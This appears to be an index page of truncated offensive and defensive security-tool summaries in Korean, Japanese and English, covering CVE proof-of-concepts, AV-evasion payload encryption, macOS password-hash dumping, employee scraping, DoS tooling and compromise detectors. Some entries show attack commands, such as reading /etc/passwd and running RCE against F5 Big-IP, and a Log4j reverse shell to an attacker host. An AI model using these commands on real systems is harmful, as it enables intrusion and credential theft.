Armor

Armor Armor는 암호화된 macOS 페이로드를 생성하여 안티바이러스 스캐너를 회피할 수 있는 간단한 Bash 스크립트입니다. 아래는 간단한 Netcat 페이로드와 함께 Armor를 사용하는 예시 GIF입니다. Netcat 리스너가 포트 4444에서 시작됩니다. "payload.txt" 파일을 읽어 간단한 Bash 원라이너가 포함되어 있음을 보여줍니다. 이 원라이너가 실행되면 대상 MacBook과 공격자의 Netcat 리스너 사이에 TCP 연결이 생성됩니다. Armor는 bash 원라이너를 암호화하는 데 사용됩니다...

CVE-2020-16898_Check

CVE-2020-16898Check 脆弱なインターフェースをチェックする小さなPowerShellスクリプトです。...

CVE-2020-13151

CVE-2020-13151 POC Aerospike Database 5.1.0.3 ホストコマンド実行 詳細な解説 @ https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html poc.lua はサーバーへの手動エクスプロイトを示します cve2020-13151.py は自動エクスプロイト用です run-poc.sh はローカル実験用の Docker 環境をセットアップします...

CVE-2020-5902

CVE-2020-5902 F5 Big-IP CVE-2020-5902 を悪用する Python スクリプト 例 ローカルファイル読み取りの悪用: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd RCE の悪用: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

Zip-Cracker-

Zip Cracker 이 버전에서는 Zip 파일만 지원합니다. Crunch와 함께 사용할 수도 있습니다. 크로스 플랫폼 지원 사용법: zipcracker.py options root@kitploit: Options: --version show program's version number and exit -h, --help show this help message and exit -f FILENAME, --file=FILENAME Please Specify Path of Zip File -d DICTIONERY,...

citrix-2025

Citrix NetScaler アプライアンス用検出スクリプト 著者: NCSC-NL !WARNING これらのチェックの一部は侵害を探すためのものであり、他のチェックは既に侵害されているかどうかを検証するものです。 免責事項 これらのスクリプトは、その有効性について一切の保証なく提供されます。 これらのスクリプトの検出能力は、限られた検出ルールに基づいています。 ベンダーの指示と、脆弱性に関するアドバイザリに記載された情報に従ってください。 これらのスクリプトの出力を共有する際は、機密情報が開示されないようにしてください。 連絡先...

httprobe

httprobe Take a list of domains and probe for working http and https servers. Install root@kitploit: ▶ go install github.com/tomnomnom/httprobe@latest Basic Usage httprobe accepts line-delimited domains on stdin: root@kitploit: ▶ cat recon/example/domains.txt example.com example.edu example.net ▶...

osx-password-dumper

🍎 🔓 OSX 비밀번호 덤퍼 스크립트 개요 macOS 시스템에서 사용자의 .plist 파일을 검색하고, 그 안의 데이터를 크래킹 가능한 해시 형식으로 변환하는 Bash 스크립트입니다. John The Ripper 또는 Hashcat과 함께 사용 macOS 시스템에서의 CTF/침투 테스트/레드 팀 작업에 유용합니다. 사전 요구 사항 스크립트는 루트 사용자로 실행되어야 합니다 sudo macOS 환경 macOS VM Ventura beta 13.0 22A5266r에서 테스트됨 사용법 root@kitploit: sudo...

LinkedInDumper

LinkedInDumper LinkedIn API에서 회사 직원 정보를 덤프하는 Python 3 스크립트 💬 설명 LinkedInDumper는 LinkedIn 소셜 네트워킹 플랫폼에서 직원 데이터를 덤프하는 Python 3 스크립트입니다. 결과에는 이름, 성, 직위직함, 위치 및 사용자의 프로필 링크가 포함됩니다. 회사 직원이 10명 이하인 경우 모든 직원을 검색하는 데 API 호출이 2번만 필요합니다. 그렇지 않으면 API 결과를 페이지 단위로 탐색해야 합니다. --email-format CLI 플래그를 사용하면 검색된 이름...

linux-soft-exploit-suggester

linux-soft-exploit-suggester Script to find exploits for all vulnerable software on the system, targeting software packages rather than just kernel vulnerabilities. It uses the exploit database to assess the security of packages and search for exploits to help with privilege escalation. Usage...

XcInspector

XcInspector: Xcodeプロジェクトのセキュリティのために XcInspectorは、Xcodeプロジェクトファイルに潜む可能性のあるセキュリティ問題をスキャンするためのmacOSアプリおよびコマンドラインツールです。 GitLab上のソースコードリポジトリ 予定されているチェック（ルール）の一覧 なぜ必要か？ Xcodeプロジェクトがセキュリティやプライバシーを侵害するために悪用される方法がいくつか存在します。 任意のスクリプトをプロジェクトに埋め込むことができ、特定のアクション（一般的な「Build」コマンドなど）が発生した際に自動実行されるように設定できる。...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermap スクリプト。 https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 使用法: root@kitploit: $ python usermapscript.py RHOST -- ターゲットアドレス RPORT -- ターゲットポート TCP : 139 LHOST -- リスンアドレス LPORT -- リスンポート インストール root@kitploit: sudo apt install python python-pip...

htrace.sh

Description htrace.sh is a shell script for http/https troubleshooting and profiling. It's also a simple wrapper around several open source security tools. For a more detailed understanding of htrace.sh, its parameters, functions and how it all works, run htrace.sh --examples or see the Wiki...

htrace.sh

설명 htrace.sh는 HTTP/HTTPS 문제 해결 및 프로파일링을 위한 셸 스크립트입니다. 또한 여러 오픈 소스 보안 도구를 간단히 래핑한 것입니다. htrace.sh의 매개변수, 기능 및 작동 방식에 대한 자세한 내용을 보려면 htrace.sh --examples를 실행하거나 Wiki를 참조하세요. 미리보기 사용 방법...

PoC-CVE-2021-41773

CVE-2021-41773 PoC CVE-2021-41773 に対して脆弱なホストを確認するための概念実証スクリプトです。 説明 https://vulners.com/cve/CVE-2021-41773 Apache HTTP Server 2.4.49-2.4.50 のパス正規化の変更に欠陥が見つかりました。 攻撃者はパストラバーサル攻撃を使用して、想定されたドキュメントルート外のファイルに URL をマッピングできる可能性があります。ドキュメントルート外のファイルが "require all denied"...

PyFuscation

PyFuscation python3 필요 사용법: PyFuscation.py -h -f -v -p --ps SCRIPT 선택적 인수: root@kitploit: • -h, --help 도움말 메시지를 표시하고 종료 • -f 함수 난독화 ○ 먼저 수행하세요... 가장 잘 작동할 가능성이 높습니다. • -v 변수 난독화 ○ 변수를 난독화하려면 매개변수도 함께 난독화하세요. • -p 매개변수 난독화 ○ 매개변수를 난독화하려면 변수도 함께 난독화하세요. 필수 인수: --ps root@kitploit: python3...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

CVE-2017-12149

CVE-2017-12149 Jboss Java Deserialization RCE CVE-2017-12149 このPythonスクリプトはysoserialを使用して動的にペイロードを生成します。そのため、Javaも必要です。...

pentmenu

pentmenu 中文说明 빠르고 쉬운 네트워크 정찰 및 DOS 공격을 위한 bash select 메뉴 필요한 경우 sudo가 구현됩니다. Debian과 Arch에서 테스트되었습니다. 기여와 풀 리퀘스트를 환영합니다! Requirements: bash sudo curl netcat '-k' 옵션 지원 필수, openbsd 변종 권장 hping3 또는 nping을 플러드 공격 대체로 사용 가능 openssl stunnel nmap whois 필수는 아니지만 권장 nslookup 또는 'host' ike-scan bind-tools...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...